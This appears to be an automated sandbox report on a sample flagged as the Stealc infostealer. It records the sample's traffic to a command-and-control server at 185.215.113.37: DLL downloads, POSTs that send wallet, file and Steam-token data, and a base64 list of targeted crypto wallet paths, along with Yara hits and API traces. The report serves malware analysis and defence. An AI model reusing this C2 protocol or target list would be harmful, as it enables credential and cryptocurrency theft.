00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 7, 2024 18:03:23.479224920 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 18:03:23.694472075 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 7, 2024 18:03:26.800828934 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 18:03:27.015654087 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:26 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 7, 2024 18:03:27.454302073 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 7, 2024 18:03:27.669280052 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:27 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 7, 2024 18:03:28.392079115 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCBAEHCAEGDHJKFHJKF Host: 185.215.113.37 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:03:29.272917032 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:03:29.329715967 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFCAFCBKECBGCFIIJ Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 43 41 46 43 42 4b 45 43 42 47 43 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 43 41 46 43 42 4b 45 43 42 47 43 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 43 41 46 43 42 4b 45 43 42 47 43 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------FIDAFCAFCBKECBGCFIIJContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------FIDAFCAFCBKECBGCFIIJContent-Disposition: form-data; name="message"wallets------FIDAFCAFCBKECBGCFIIJ--
Oct 7, 2024 18:03:29.547866106 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:29 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 7, 2024 18:03:29.551943064 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDA Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="message"files------AAKEGDAKEHJDHIDHJJDA--
Oct 7, 2024 18:03:29.769761086 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:03:29.781989098 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIEC Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file"------GIECFIEGDBKJKFIDHIEC--
Oct 7, 2024 18:03:30.484513998 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:03:30.511317015 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGI Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 48 49 4a 44 48 44 47 44 42 46 48 49 45 48 44 47 49 2d 2d 0d 0a Data Ascii: ------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------CAFHIJDHDGDBFHIEHDGIContent-Disposition: form-data; name="message"ybncbhylepme------CAFHIJDHDGDBFHIEHDGI--
Oct 7, 2024 18:03:30.736779928 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:30 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Oct 7, 2024 18:03:30.781047106 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIEC Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 31 37 36 30 65 30 64 61 33 64 61 34 38 62 31 31 33 63 31 62 33 36 61 30 37 35 66 36 30 36 61 31 31 63 39 39 32 36 62 36 38 66 62 61 62 63 34 62 35 62 35 33 35 35 33 66 35 33 35 33 65 63 34 33 66 63 39 62 31 63 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 2d 2d 0d 0a Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="token"71760e0da3da48b113c1b36a075f606a11c9926b68fbabc4b5b53553f5353ec43fc9b1c7------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GIECFIEGDBKJKFIDHIEC--
Oct 7, 2024 18:03:31.511869907 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:03:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	12:03:06
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x560000
File size:	1'844'736 bytes
MD5 hash:	BF40D376A9A1B310AF87EDDE937D8AF3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2591852911.000000000042E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2318604466.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00579860 Relevance: 84.2, APIs: 33, Strings: 15, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76E00000,00442438), ref: 005798A1
GetProcAddress.KERNEL32(76E00000,00442450), ref: 005798BA
GetProcAddress.KERNEL32(76E00000,00442468), ref: 005798D2
GetProcAddress.KERNEL32(76E00000,00442480), ref: 005798EA
GetProcAddress.KERNEL32(76E00000,00442270), ref: 00579903
GetProcAddress.KERNEL32(76E00000,00448FC8), ref: 0057991B
GetProcAddress.KERNEL32(76E00000,004354D0), ref: 00579933
GetProcAddress.KERNEL32(76E00000,00435310), ref: 0057994C
GetProcAddress.KERNEL32(76E00000,004424E0), ref: 00579964
GetProcAddress.KERNEL32(76E00000,004424C8), ref: 0057997C
GetProcAddress.KERNEL32(76E00000,00442348), ref: 00579995
GetProcAddress.KERNEL32(76E00000,004424F8), ref: 005799AD
GetProcAddress.KERNEL32(76E00000,004352F0), ref: 005799C5
GetProcAddress.KERNEL32(76E00000,00442510), ref: 005799DE
GetProcAddress.KERNEL32(76E00000,00442390), ref: 005799F6
GetProcAddress.KERNEL32(76E00000,00435550), ref: 00579A0E
GetProcAddress.KERNEL32(76E00000,004423A8), ref: 00579A27
GetProcAddress.KERNEL32(76E00000,004422E8), ref: 00579A3F
GetProcAddress.KERNEL32(76E00000,00435350), ref: 00579A57
GetProcAddress.KERNEL32(76E00000,00442300), ref: 00579A70
GetProcAddress.KERNEL32(76E00000,00435370), ref: 00579A88
LoadLibraryA.KERNEL32(004422A0,?,00576A00), ref: 00579A9A
LoadLibraryA.KERNEL32(00442240,?,00576A00), ref: 00579AAB
LoadLibraryA.KERNEL32(00442330,?,00576A00), ref: 00579ABD
LoadLibraryA.KERNEL32(00442228,?,00576A00), ref: 00579ACF
LoadLibraryA.KERNEL32(00442288,?,00576A00), ref: 00579AE0
GetProcAddress.KERNEL32(76F40000,00442318), ref: 00579B02
GetProcAddress.KERNEL32(76560000,004423C0), ref: 00579B23
GetProcAddress.KERNEL32(76560000,00442360), ref: 00579B3B
GetProcAddress.KERNEL32(76A70000,004423D8), ref: 00579B5D
GetProcAddress.KERNEL32(761C0000,00435290), ref: 00579B7E
GetProcAddress.KERNEL32(77320000,00449058), ref: 00579B9F
GetProcAddress.KERNEL32(77320000,NtQueryInformationProcess), ref: 00579BB6

Strings

NtQueryInformationProcess, xrefs: 00579BAA
`#D, xrefs: 00579B2E
@"D, xrefs: 00579AA5
p"D, xrefs: 005798F5
PSC, xrefs: 00579A4A
"D, xrefs: 00579A32
$D, xrefs: 00579957
PUC, xrefs: 00579A01
P$D, xrefs: 005798AC
H#D, xrefs: 00579987
h$D, xrefs: 005798C5
pSC, xrefs: 00579A7B
8$D, xrefs: 00579894
("D, xrefs: 00579AC8
0#D, xrefs: 00579AB6

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
